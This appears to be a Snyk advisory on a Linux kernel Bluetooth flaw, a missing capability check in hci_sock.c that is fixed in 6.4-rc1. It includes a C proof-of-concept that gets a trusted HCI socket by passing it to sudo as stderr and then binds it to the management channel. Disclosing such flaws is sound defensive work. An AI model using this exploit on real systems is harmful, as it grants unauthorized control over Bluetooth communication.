Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade torvalds/linux
to version 6.4-rc1 or higher.
Affected versions of this package are vulnerable to Execution with Unnecessary Privileges due to a missing capability check in the net/bluetooth/hci_sock.c
file. This flaw allows an attacker to unauthorized execution of management commands, compromising the confidentiality, integrity, and availability of Bluetooth communication.
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* By executing sudo with an HCI socket as stderr, an ioctl
* system call makes the HCI socket privileged (i.e. with
* the HCI_SOCK_TRUSTED flag set).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo");
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* The socket has not been bound. It can be bound to the
* management channel now. After that, the HCI_SOCK_TRUSTED
* flag is still present, as it will indeed never be cleared.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));